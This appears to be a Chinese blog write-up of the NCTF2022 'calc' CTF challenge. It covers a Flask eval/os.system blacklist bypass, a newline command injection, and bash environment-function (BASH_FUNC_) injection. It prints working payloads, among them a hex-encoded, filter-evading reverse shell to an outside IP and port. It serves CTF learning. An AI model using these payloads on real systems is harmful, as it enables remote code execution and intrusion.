[NCTF2022]calc之bash注入
4 分钟
前言
之前有NCTF2022有碰到过一题类似于计算器的题目,当时以为是SSTI,结果发现是os.system()命令执行,但是又没想到怎么绕过,今天在NSS平台又看到了这题,复现一下,学到了不少东西。
[NCTF 2022]calc
进入题目是一个计算器
在前端的javascript源代码中不难发现请求的url,令url报错可看到源代码
- 原比赛题目程序源代码如下:
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
def waf(s):
blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag
很明显第一种想到的思路就是通过传入num,从而控制log参数,进行os.system()的命令执行,还要满足的一个条件就是eval()不难报错。
这里的绕过方式有通过换行的形式,用单引号或双引号包裹传入的代码,使其成为字符串,满足eval()的正常执行,又能够命令执行。
测试如下:
import time
import os
import urllib.parse
ip = '127.0.0.1'
num = urllib.parse.unquote('%0A%22whoami%22%0A')
print('num:\n'+num)
log = "echo {0} {1} {2}> log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
data = eval(num)
os.system(log)
可以看到确实执行了id命令,那么就可以通过这种方式进行反弹shell或者curl外带从而得到flag。
以上解法是非预期解,在NSS复现的时候源码是被修改了,直接去除了num,导致log参数不可控
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
def waf(s):
blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag
这里就是需要使用预期解来进行,预期解与P神的一篇环境变量注入导致命令执行的文章有关。
文章链接:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
根据P神的解释,主要与一段bash的一段源代码有关:
for (string_index = 0; env && (string = env[string_index++]); ) {
name = string;
// ...
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))
{
size_t namelen;
char *tname; /* desired imported function name */
namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;
tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = '\0'; /* now tname == func name */
string_length = strlen (string);
temp_string = (char *)xmalloc (namelen + string_length + 2);
memcpy (temp_string, tname, namelen);
temp_string[namelen] = ' ';
memcpy (temp_string + namelen + 1, string, string_length + 1);
/* Don't import function names that are invalid identifiers from the
environment in posix mode, though we still allow them to be defined as
shell variables. */
if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
else
free (temp_string); /* parse_and_execute does this */
//...
}
}
privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN ("() {", string, 4),环境变量的值前4个字符等于() {
主要的payload如下:env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc',即传入了一个环境变量,
使得bash添加了一个myfunc函数并执行,执行了id的命令。
在python中,可以利用eval函数进行环境变量的覆盖,再联合以上的payload进行命令执行。
测试如下:
import os
a={"test":'aaaa'}
for os.environ['test'] in['TESTTESTTEST']:
pass
print(os.environ['test'])
当使用上list生成器和中括号后,就可以进行变量覆盖的同时,又返回一个str,没有进行执行。
import os
a={"test":'aaaa'}
print([[str][0]for[os.environ['test']]in[['TESTTESTTEST']]])
print(os.environ['test'])
那么就可以通过这种方式注入环境变量,使得被bash执行,payload如下:
[strfor[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]
剩下最后的就是绕过waf,这里的waf需要绕过os,空格等,同样再绕过SSTI的时候我们知道,在python中用单引号和双引号
包裹的字符是能够识别十六进制字符串的,因此可以变成十六进制字符串绕过,绕过os,则可以变成utf8非ascii字符格式,
从而达到统一格式变成os。
最终payload:
[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x30\x2e\x37\x39\x2e\x32\x39\x2e\x31\x37\x30\x2f\x36\x36\x36\x36\x20\x30\x3e\x26\x31\x3b\x7d']]]
总结
比赛时非预期解主要通过换行绕过eval的报错,预期解涉及到了不少的tricks,包括python的变量覆盖和系统底层通过注入环境变量来getshell,学到很多。
~ ~ The End ~ ~
分类标签:CTF,CTF
文章标题:[NCTF2022]calc之bash注入
文章链接:https://aiwin.fun/index.php/archives/1427/
最后编辑:2024 年 1 月 4 日 17:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:[NCTF2022]calc之bash注入
文章链接:https://aiwin.fun/index.php/archives/1427/
最后编辑:2024 年 1 月 4 日 17:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)